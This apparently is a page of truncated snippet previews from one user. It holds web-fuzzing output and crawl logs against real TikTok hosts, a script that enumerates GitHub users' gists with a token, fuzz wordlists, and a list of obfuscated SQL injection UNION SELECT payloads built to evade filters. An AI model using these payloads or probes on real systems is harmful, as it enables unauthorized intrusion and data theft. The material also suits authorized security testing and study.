kljunowsky

kljunowsky

#!/bin/bash

# Ensure the user has given the required API key
if [[ -z "$1" ]]; then
    echo "Usage: $0 <hibp-api-key> <input_file>"
    exit 1
fi

API_KEY=$1
INPUT_FILE=$2

kljunowsky

kljunowsky

0
01
02
03
1
10
11
12
13
14

kljunowsky

{"commandline":"ffuf -w ../../Resources/bb-fuzz.txt:WL -w 10-webapps.txt:URL -u URL/WL -ac -acs advanced -o ffuf-output.json","time":"2023-05-23T09:21:12-04:00","results":[{"input":{"FUZZ":""},"position":251341,"status":200,"length":2634,"words":70,"lines":2,"content-type":"text/html","redirectlocation":"","resultfile":"","url":"https://ads-sg.tiktok.com/academy","host":"ads-sg.tiktok.com","count-headers":"","redirect-domain":"","count-redirect-parameters":"0","length-title":"","words-title":"","count-css-files":"","count-js-files":"","count-tags":"","keepreason":"deviation (0.135393)"},{"input":{"FUZZ":""},"position":251456,"status":403,"length":0,"words":1,"lines":1,"content-type":"","redirectlocation":"","resultfile":"","url":"https://ads-sg.tiktok.com/access/access.mdb","host":"ads-sg.tiktok.com","count-headers":"","redirect-domain":"","count-redirect-parameters":"0","length-title":"","words-title":"","count-css-files":"","count-js-files":"","count-tags":"","keepreason":"deviation (0.000000)"},{"input":{"

kljunowsky

{"timestamp":"2023-05-18T15:46:36.379178651-04:00","endpoint":"https://business.tiktok.com/zh","source":"https://business.tiktok.com","tag":"link","attribute":"href"}
{"timestamp":"2023-05-18T15:46:36.37933276-04:00","endpoint":"https://business.tiktok.com/ja","source":"https://business.tiktok.com","tag":"link","attribute":"href"}
{"timestamp":"2023-05-18T15:46:36.379358437-04:00","endpoint":"https://business.tiktok.com/","source":"https://business.tiktok.com","tag":"link","attribute":"href"}
{"timestamp":"2023-05-18T15:46:36.37937986-04:00","endpoint":"https://business.tiktok.com/es","source":"https://business.tiktok.com","tag":"link","attribute":"href"}
{"timestamp":"2023-05-18T15:46:36.379403408-04:00","endpoint":"https://business.tiktok.com/fr","source":"https://business.tiktok.com","tag":"link","attribute":"href"}
{"timestamp":"2023-05-18T15:46:36.379422639-04:00","endpoint":"https://business.tiktok.com/de","source":"https://business.tiktok.com","tag":"link","attribute":"href"}
{"timestamp":"2023-05-18T1

kljunowsky

export TOKEN=$(cat token.txt)
export USER=$(cat users.txt)
cat in/enumerepo-1/output.txt | jq -r '.[].user' | sed 's/https:\/\/github.com\///g' > users.txt

while read -r u; do
    curl -u $USER:$TOKEN "https://api.github.com/users/$u/gists?per_page=100" | jq -r '.[].files[].raw_url' >> gists.txt
done < users.txt

kljunowsky

/*!50000%55nIoN*/ /*!50000%53eLeCt*/ null,null,null,null  
%55nion(%53elect 1,2,3) null,null,null,null  
+union+distinctROW+select+null,null,null,null--+-  
+ #?uNiOn + #?sEleCt null,null,null,null  
+ #?1q %0AuNiOn all#qa%0A#%0AsEleCt null,null,null,null  
/*!%55NiOn*/ /*!%53eLEct*/ null,null,null,null  
+un/**/ion+se/**/lect null,null,null,null  
+?UnI?On?+'SeL?ECT? null,null,null,null  
+(UnIoN)+(SelECT)+null,null,null,null--+-  
+UnIoN/*&a=*/SeLeCT/*&a=*/ null,null,null,null  

kljunowsky

‎
!
!!
!-!
-
.
.,
.-
[

kljunowsky

1
10
11
12
13
14
15
16
17
18